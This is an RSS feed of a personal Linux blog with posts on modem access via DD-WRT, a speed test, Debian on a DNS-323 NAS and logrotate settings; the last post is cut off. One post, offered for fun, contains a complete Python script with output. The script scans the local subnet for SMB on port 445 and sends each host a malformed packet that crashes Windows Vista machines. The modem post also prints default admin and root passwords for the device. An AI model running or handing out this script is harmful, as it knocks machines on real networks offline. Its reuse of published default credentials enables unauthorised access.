<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>(christian.)samsel.name</title>
	<atom:link href="http://christian.samsel.name/feed/" rel="self" type="application/rss+xml" />
	<link>http://christian.samsel.name</link>
	<description>Studium, Linux und was mich sonst noch so bewegt »</description>
	<lastBuildDate>Mon, 21 Jun 2010 18:13:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Accessing Allnet 0333B DSL Modem Configuration Page via DD-WRT</title>
		<link>http://christian.samsel.name/2010/06/accessing-allnet-0333b-dsl-modem-configuration-page-via-dd-wrt/</link>
		<comments>http://christian.samsel.name/2010/06/accessing-allnet-0333b-dsl-modem-configuration-page-via-dd-wrt/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 18:11:44 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[allnet]]></category>
		<category><![CDATA[dd-wrt]]></category>
		<category><![CDATA[dsl]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=202</guid>
		<description><![CDATA[I recently found out that my cheap DSL modem (Allnet 0333B) which i bought because the one that was provided by my ISP broke down, has a configuration page which shows the line status. It can easily access by adding a private ip to the wan interface of the router. Execute the the following on [...]]]></description>
			<content:encoded><![CDATA[<p>I recently found out that my cheap DSL modem (Allnet 0333B) which i bought because the one that was provided by my ISP broke down, has a configuration page which shows the line status. It can easily access by adding a private ip to the wan interface of the router. Execute the the following on your router (e.g. via ssh or execute form on the webinterface)<br />
<code lang="bash">ifconfig `nvram get wan_ifname`:0 172.16.1.250 netmask 255.255.255.0<br />
iptables -t nat -I POSTROUTING -o `nvram get wan_ifname` -j MASQUERADE</code><br />
Now the modem can be reached from the LAN:<br />
<code lang="bash"><br />
~# ping 172.16.1.254 -c 1<br />
PING 172.16.1.254 (172.16.1.254) 56(84) bytes of data.<br />
64 bytes from 172.16.1.254: icmp_req=1 ttl=254 time=26.2 ms</p>
<p>--- 172.16.1.254 ping statistics ---<br />
1 packets transmitted, 1 received, 0% packet loss, time 0ms<br />
rtt min/avg/max/mdev = 26.211/26.211/26.211/0.000 ms<br />
</code><br />
Login via:</p>
<p>http://172.16.1.254:8235/cgi-bin/webcm</p>
<p>admin / coolwhite</p>
<p>telnet://172.16.1.254<br />
root / coolwhite</p>
<p>(can be obtained from the GPL sources)</p>
<p>The funny thing is, the officially as modem announced device can be configured as full router with advanced features like portforwarding, access control, QoS etc.</p>
<p>last but not least, my (poor) line status:</p>
<p><a href="/files/linestatus.jpg" rel="lightbox" title="linestatus"><img src="/files/linestatus_small.jpg"  alt="schritt 1" style="padding: 3px; margin: 5px;" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2010/06/accessing-allnet-0333b-dsl-modem-configuration-page-via-dd-wrt/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>da sag nochmal wer UMTS wäre langsam</title>
		<link>http://christian.samsel.name/2009/11/da-sag-nochmal-wer-umts-ware-langsam/</link>
		<comments>http://christian.samsel.name/2009/11/da-sag-nochmal-wer-umts-ware-langsam/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 18:48:55 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[O2]]></category>
		<category><![CDATA[Speedtest]]></category>
		<category><![CDATA[T-Online]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=191</guid>
		<description><![CDATA[Im Vergleich O2 Internet Pack L gegen T-DSL 2000: Die Angaben sind mbit/s, nicht mb/s.]]></description>
			<content:encoded><![CDATA[<p>Im Vergleich O2 Internet Pack L gegen T-DSL 2000:</p>
<p><img src="http://christian.samsel.name/wp-content/uploads/623996970.png" alt="speedtest.net O2" title="speedtest.net O2" width="300" height="135" class="aligncenter size-full wp-image-192" /></p>
<p><img src="http://christian.samsel.name/wp-content/uploads/624406203.png" alt="speedtest.net T-Online" title="speedtest.net T-Online" width="300" height="135" class="aligncenter size-full wp-image-193" /><br />
Die Angaben sind mbit/s, nicht mb/s.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/11/da-sag-nochmal-wer-umts-ware-langsam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ich sollte lernen!</title>
		<link>http://christian.samsel.name/2009/09/ich-sollte-lernen/</link>
		<comments>http://christian.samsel.name/2009/09/ich-sollte-lernen/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 17:30:53 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[bsod]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[vista]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=182</guid>
		<description><![CDATA[Das kommt dabei raus: oxygen-mobile:~ python fun.py scanning subnet 192.168.1.3/24 &#160; sending exploit to 192.168.1.3 # Samba &#160; sending exploit to 192.168.1.13 # Vista &#160; pwnd 192.168.1.13 &#160; sending exploit to 192.168.1.14 # Windows 7 fun.py: #!/usr/bin/python &#160; from socket import socket,error from time import sleep from os import popen &#160; for ownip in popen&#40;&#34;LANG=C [...]]]></description>
			<content:encoded><![CDATA[<p>Das kommt dabei raus:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">oxygen-mobile:~ python fun.py
scanning subnet 192.168.1.3<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">24</span>
&nbsp;
sending exploit to 192.168.1.3 <span style="color: #666666; font-style: italic;"># Samba</span>
&nbsp;
sending exploit to 192.168.1.13 <span style="color: #666666; font-style: italic;"># Vista</span>
&nbsp;
pwnd 192.168.1.13
&nbsp;
sending exploit to 192.168.1.14 <span style="color: #666666; font-style: italic;"># Windows 7</span></pre></div></div>

<p><span id="more-182"></span></p>
<p>fun.py:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">socket</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>,error
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">time</span> <span style="color: #ff7700;font-weight:bold;">import</span> sleep
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">os</span> <span style="color: #ff7700;font-weight:bold;">import</span> popen
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> ownip <span style="color: #ff7700;font-weight:bold;">in</span> popen<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;LANG=C ip addr | grep 'inet ' | grep -v ' lo' | awk '{print $2}'&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;scanning subnet %s&quot;</span> <span style="color: #66cc66;">%</span>ownip <span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> neighborip <span style="color: #ff7700;font-weight:bold;">in</span> popen<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; LANG=C nmap -n -sX --open -p445 %s |grep 'Interesting ports' | awk '{ print $4}' | tr -d ':' &quot;</span> <span style="color: #66cc66;">%</span>ownip.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: black;">&#41;</span>.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
                <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;sending exploit to %s&quot;</span> <span style="color: #66cc66;">%</span>neighborip<span style="color: black;">&#41;</span>
                host = neighborip, <span style="color: #ff4500;">445</span>
                buff = <span style="color: black;">&#40;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>c8&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>26&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>fe&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>2e&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
                <span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">try</span>:
                        s = <span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">settimeout</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1.0</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span>host<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">send</span><span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">except</span> error, msg:
                        <span style="color: #ff7700;font-weight:bold;">continue</span>
                sleep<span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">try</span>:
                        s = <span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">settimeout</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1.0</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span>host<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">except</span>  error, msg:
                        <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;pwnd %s&quot;</span> <span style="color: #66cc66;">%</span>neighborip<span style="color: black;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/09/ich-sollte-lernen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debian Lenny auf dem DNS-323</title>
		<link>http://christian.samsel.name/2009/08/debian-lenny-auf-dem-dns-323/</link>
		<comments>http://christian.samsel.name/2009/08/debian-lenny-auf-dem-dns-323/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 16:12:20 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[arm]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[dns-323]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[mediatomb]]></category>
		<category><![CDATA[raid]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=166</guid>
		<description><![CDATA[Wie die meisten Leser meines Blogs wohl wissen werden, ich bin kein Freund von Debian. Aber in der Not frisst der Teufel fliegen. Debian ist wohl die einzige general purpose Distribution die armv5tel als Architektur offiziell unterstützt. Seit mittlerweile einem Jahr habe ein D-Link DNS-323 NAS Gerät [0]. Soweit war ich auch immer mehr oder [...]]]></description>
			<content:encoded><![CDATA[<div style="clear: both;"><img src="http://www.debian.org/logos/openlogo-100.jpg"  alt="debian logo" style="padding: 3px; margin: 5px; float: left;" /></div>
<p>Wie die meisten Leser meines Blogs wohl wissen werden, ich bin kein Freund von Debian. Aber in der Not frisst der Teufel fliegen. Debian ist wohl die einzige general purpose Distribution die armv5tel als Architektur offiziell unterstützt.</p>
<p>Seit mittlerweile einem Jahr habe ein <a href="http://wiki.dns323.info/">D-Link DNS-323 NAS Gerät [0]</a>. Soweit war ich auch immer mehr oder weniger zufrieden. Dank fun_plug konnte man eigene Software installieren und war soweit recht flexibel. In meinem Fall handelte es sich dabei insbesondere um mediatomb und cups. Ein paar Sachen waren aber doch störend. Der von der Original Firmware benutzter Kernel beherrschte kein inotify (doof für mediatomb), die Partitionierung war sehr eingeschränkt und erlaubte nur ext2 als Dateisystem. smartmon funktionierte leider auch nicht.<br />
Vor kurzem habe ich aber dann erfahren dass <a href="http://www.cyrius.com/journal">Martin Michlmayr [1]</a> ein Debian Installer für den DNS-323 entwickelt hat. Bei der Installation wird die Firmware temporär durch ein netboot Image des Debian Installer ersetzt der dann am Ende der Installation Debian Kernel und initrd in den Flash ROM speichert.<br />
Ich hatte doch etwas Bauchweh bei dem Gedanken daran die Originial Firmware komplett zu ersetzen, außerdem war in der <a href="http://www.cyrius.com/debian/orion/d-link/dns-323/install.html">Anleitung [2]</a> davon die Rede dass die Platten bei der Installation formatiert würden, was ich vermeiden wollte, knapp 500 GB Daten sind nicht so leicht zu sichern. Nach einer Rückfrage wie es mit einer Installation auf einem USB Stick aussieht (hatte meine fun_plug Software bis jetzt auch auf nem USB-Stick, damit der HD Spindown klappt) bekam ich als Antwort dass ich doch bitte während der Installation die Platten entfernen sollte und nach der Installation wieder einbauen. Damit hätte sich auch das Problem mit der Formatierung erledigt. Ich vermute, dass hätte ich mir auch sparen können, da die Experteninstallation genügend Optionen hinsichtlich Partitionierung bot. Anderseits habe ich nicht die geringste Idee wie der Bootloader funktioniert. Der Installer empfahl bei einem 4 GB USB Stick nur 172 MB Swap. Das kam mir etwas wenig vor, aber es reicht. Ansonsten hätte ich halt händisch ein Swapfile angelegt.</p>
<p>Aber Hauptsache alles lief glatt. <span id="more-166"></span> Auch wenn ich sehr lange Zeit kein Debian mehr installiert hatte, machte mir die Experten Installation keinerlei Probleme und lies keine Fragen offen. Nur sehr lange hatte es gedauert, ca 3 Stunden. Aber kein Wunder bei DSL2000, 64 MB Ram und 500 Mhz. Schlussendlich stand mir aber trotzdem wirklich der Schweiß auf der Stirn ob das System nun bootet, aber es lief einwandfrei. siehe:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">oxygen-nas:~<span style="color: #666666; font-style: italic;"># cat /etc/debian_version</span>
5.0.2
oxygen-nas:~<span style="color: #666666; font-style: italic;"># uname -a</span>
Linux oxygen-nas 2.6.30-<span style="color: #000000;">1</span>-orion5x <span style="color: #666666; font-style: italic;">#1 Sun Jul 19 01:26:48 UTC 2009 armv5tel GNU/Linux</span>
oxygen-nas:~<span style="color: #666666; font-style: italic;"># cat /proc/mdstat</span>
Personalities : <span style="color: #7a0874; font-weight: bold;">&#91;</span>raid1<span style="color: #7a0874; font-weight: bold;">&#93;</span>
md0 : active raid1 sdc1<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> sdb1<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
      <span style="color: #000000;">732571904</span> blocks <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>UU<span style="color: #7a0874; font-weight: bold;">&#93;</span>
unused devices: <span style="color: #000000; font-weight: bold;">&lt;</span>none<span style="color: #000000; font-weight: bold;">&gt;</span>
&nbsp;
oxygen-nas:~<span style="color: #666666; font-style: italic;"># # df -h -t ext3</span>
Dateisystem          Größe Benut  Verf Ben<span style="color: #000000; font-weight: bold;">%</span> Eingehängt auf
<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sda2             <span style="color: #000000;">3</span>,4G  <span style="color: #000000;">1</span>,3G  <span style="color: #000000;">2</span>,0G  <span style="color: #000000;">40</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>md0              688G  468G  221G  <span style="color: #000000;">68</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #000000; font-weight: bold;">/</span>storage</pre></div></div>

<p>Selbst die RAID Konfiguration der beiden Platten wurde nach dem Einbau und der Installation von <em>mdadm</em> direkt erkannt und übernommen. Leider hatte ich das zu spät gemerkt und eine Platte bereits neupartitioniert. Aber meine Daten sind natürlich noch da, ich habe dann einfach die ursprüngliche RAID1 Partition gemountet und die Daten auf die neupartitionierte Platte kopiert. Auch das hat wieder sehr lange gedauert. 5 Stunden würde ich schätzen. Nachdem ich dann auch die 2 Platte gemountet hatte, konnte ich das RAID1 dann zusammen fügen (vgl <a href="http://wiki.con-victo.de/cgi-bin/moin.cgi/howto_Linux_Software_Raid1_mit_mdadm">[3]</a>). Die RAID Recovery hat interessanterweise viel weniger Zeit in Anspruch genommen, nur knapp eine Stunde.<br />
Zusätzliche habe ich noch den <a href="http://www.cyrius.com/journal/debian/orion/d-link/dns-323/dns-323-fan-control">aktualisierten Kernel [4]</a> installiert. Auch hier beim Flashen und anschließendem Reboot wieder Schweißperlen auf der Stirn. Aber apt / dpkg haben gute Arbeit geleistet, alles lief perfekt.<br />
Zur Sicherheit habe ich mir direkt ein Backup vom USB-Stick angelegt, den ohne bootet das System nun gar nicht mehr. Sonderlich zuverlässig sind die heute allesamt nicht mehr. Sonst hätte ich nur noch einen ziemlich teuren Briefbeschwerer. Eine Rettung wäre zwar theoretisch über ein <a href="http://wiki.dns323.info/hardware:serial">spezielles Konsolenkabel [5]</a> möglich, jedoch habe ich nicht die Möglichkeit ein solches herzustellen und kenne auch niemand der eins besitzt.</p>
<p>Alle wichtigen Funktionen funktionieren einwandfrei, dazu gehören unter anderem:
<ul>
<li>samba</li>
<li>nfs</li>
<li><a href="http://mediatomb.cc/">mediatomb [6]</a> (mit ffmpegthumbnailer und inotify Support!, d.h. jetzt habe ich im PS3 Menü sogar eine Videovorschau und brauch nicht mehr manuell die Datenbank aktuallisieren lassen)</li>
<li><a href="http://www.fireflymediaserver.org/">firefly media server [7]</a> aka mt-daapd</li>
<li>cups (mein Laserjet 1010 hängt dran, es lässt sich sowohl von Vista als auch Gentoo aus einwandfrei drucken)</li>
<li>Lüfter-Steuerung</li>
<li>HD Spindown</li>
<li>smartmon</li>
<li>Avahi (mit Unterstützung für cups, samba, SSH)</</li>
</ul>
<p>Hier noch meine /etc/fancontrol:</p>
<pre>
# Configuration file generated by pwmconfig, changes will be lost
INTERVAL=30
FCTEMPS=hwmon0/device/pwm1=hwmon1/device/temp1_input
FCFANS=hwmon0/device/pwm1=hwmon0/device/fan1_input
MINTEMP=hwmon0/device/pwm1=40
MAXTEMP=hwmon0/device/pwm1=56
MINSTART=hwmon0/device/pwm1=40
MINSTOP=hwmon0/device/pwm1=2
MAXPWM=hwmon0/device/pwm1=255
</pre>
<p><span style="color: red">UPDATE:</span>Scheinbar ist die Nummerierung der hwmon Devices bei jedem Bootvorgang zufällig. Ich habe nun eine <em>fancontrol.0</em> und <em>fancontrol.1</em> mit jeweils vertauschten <em>hwmon0 / hwmon1</em> Einträgen, die ich nach einen Reboot händisch umkopieren muss. </p>
<p>Die Performance ist mit der Originalfirmware vergleichbar. Samba Transfers pendeln sich in der Regel bei 9-12 MB/s ein. Vorher kam ich maximal auf 13 MB/s. Das wird durch die zusätzlichen Funktionen aber mehr als wett gemacht.</p>
<p>Siehe:<br />
[0] http://wiki.dns323.info/<br />
[1] http://www.cyrius.com/journal<br />
[2] http://www.cyrius.com/debian/orion/d-link/dns-323/install.html<br />
[3] http://wiki.con-victo.de/cgi-bin/moin.cgi/howto_Linux_Software_Raid1_mit_mdadm<br />
[4] http://www.cyrius.com/journal/debian/orion/d-link/dns-323/dns-323-fan-control<br />
[5] http://wiki.dns323.info/hardware:serial<br />
[6] http://mediatomb.cc/<br />
[7] http://www.fireflymediaserver.org/</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/08/debian-lenny-auf-dem-dns-323/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>logrotate auf lzma umstellen</title>
		<link>http://christian.samsel.name/2009/07/logrotate-auf-lzma-umstellen/</link>
		<comments>http://christian.samsel.name/2009/07/logrotate-auf-lzma-umstellen/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 09:56:53 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[lzma]]></category>
		<category><![CDATA[syslog-ng]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=157</guid>
		<description><![CDATA[Gentoo: euse --enable lzma; emerge -uDN world Debian / Ubuntu: aptitude install lzma dann folgendes in der /etc/logrotate.conf einfügen: compress compresscmd /usr/bin/lzma uncompresscmd /usr/bin/unlzma compressext .lzma zum schluss noch alte .gz Logfiles entsorgen. Fertig.]]></description>
			<content:encoded><![CDATA[<p>Gentoo:<br />
<code><br />
euse --enable lzma; emerge -uDN world<br />
</code><br />
Debian / Ubuntu:<br />
<code><br />
aptitude install lzma<br />
</code></p>
<p>dann folgendes in der /etc/logrotate.conf einfügen:<br />
<code><br />
compress<br />
